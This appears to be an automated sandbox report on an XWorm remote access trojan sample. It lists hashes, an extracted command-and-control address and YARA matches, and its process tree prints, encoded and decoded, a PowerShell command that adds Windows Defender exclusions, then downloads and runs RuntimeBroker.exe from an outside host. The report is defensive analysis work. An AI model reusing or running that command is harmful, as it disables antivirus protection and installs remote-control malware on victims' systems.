xworm | 6b15049422918b6d02726b9507c53ac054938927cb726d2ae30dfc36bad2d3c5

Analysis

max time kernel
149s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
06/11/2025, 03:46

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General

Target
2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe
Size 130KB
Sample251106-ebr9pswrcw
SHA256 6b15049422918b6d02726b9507c53ac054938927cb726d2ae30dfc36bad2d3c5
MD5 b956d4ddda4a13e0d6dc3c57ae1d1399
SHA1 86d95259fd58402a9a0cb982eba032481cad777d
SHA512 226a3d25cfacb7542140e12820c2f9fe13b75a2add6cd83a7818c8a7017f2b61268969ac94694372ce6440faf2bec657e5e80e242bf97a8c701a3e4fffdaf033
SSDEEP 1536:7MVqqUNuA4U31WQ2DjtjbzVa4BDMS56tQa+x5HaEZSMXe9vV/BXBIJKEtN7NK36v:7QqqvdQ2DRbp/x0CSrgP7NWVc
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution xworm rat trojan

Malware Config

Extracted

Family

xworm

supercoolweb.ddns.net:6565

Mutex

bTbH7mDk0MFcyQqK

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x001c00000002b09d-26.dat	family_xworm
behavioral2/memory/4136-33-0x0000000000C30000-0x0000000000C40000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5956	powershell.exe
3	5956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5956	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4136	RuntimeBroker.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3596	powershell.exe
3596	powershell.exe
5956	powershell.exe
5956	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeDebugPrivilege	4136	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 5812	4772	2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe	79
PID 4772 wrote to memory of 5812	4772	2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe	79
PID 5812 wrote to memory of 3596	5812	cmd.exe	80
PID 5812 wrote to memory of 3596	5812	cmd.exe	80
PID 3596 wrote to memory of 5956	3596	powershell.exe	81
PID 3596 wrote to memory of 5956	3596	powershell.exe	81
PID 5956 wrote to memory of 4136	5956	powershell.exe	83
PID 5956 wrote to memory of 4136	5956	powershell.exe	83

C:\Users\Admin\AppData\Local\Temp\2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2025-11-06_b956d4ddda4a13e0d6dc3c57ae1d1399_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAAaAB0AHQAcAA6AC8ALwBnAHIAYQBjAGUAZgB1AGwALQBzAHAAZQBjAHUAbABvAG8AcwAtAGYANAA1ADgAMAA5AC4AbgBlAHQAbABpAGYAeQAuAGEAcABwAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAAaAB0AHQAcAA6AC8ALwBnAHIAYQBjAGUAZgB1AGwALQBzAHAAZQBjAHUAbABvAG8AcwAtAGYANAA1ADgAMAA5AC4AbgBlAHQAbABpAGYAeQAuAGEAcABwAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAtAFMATABFAEUAUAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA2ADAAMAAwACAAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQAC8AUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACcAIAAtAFYAIAByAHUAbgBBAHMA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\RuntimeBroker.exe" http://graceful-speculoos-f45809.netlify.app/RuntimeBroker.exe ; START $env:TEMP\RuntimeBroker.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/RuntimeBroker.exe
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5956
    - - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
Size 42KB
SHA256 b5d79ce108f6d7e5d1b18be335e79053a8d10d318fe91285af15387eb268addb
MD5 ac6e6e1634a1bc5db4d39ad66388a265
SHA1 06c3f83760db8753df8f7bfe89ce0775b87b6879
SHA512 f6119145272636b906797c8d7685537f2655870342604ccf8b248752acb07f9dda566f4d9fb179b23c16a9635c4498427f22a47f91d850df4b73ce738c6747ad
SSDEEP 768:YzJjEgzGeLDwp7yGktgiOACIEaFR93Mrynyz:AlVLm6AgDROIyz
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_miafk233.h3u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_miafk233.h3u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3596-0-0x000001E5BF980000-0x000001E5BF990000-memory.dmp

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memory/3596-7-0x000001E5BFF20000-0x000001E5BFF42000-memory.dmp

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memory/3596-8-0x000001E5BF980000-0x000001E5BF990000-memory.dmp

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memory/4136-33-0x0000000000C30000-0x0000000000C40000-memory.dmp

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memory/4772-13-0x00007FF708D80000-0x00007FF708DA3000-memory.dmp

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memory/5956-12-0x000001F4690A0000-0x000001F4690B0000-memory.dmp

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memory/5956-14-0x000001F4690A0000-0x000001F4690B0000-memory.dmp

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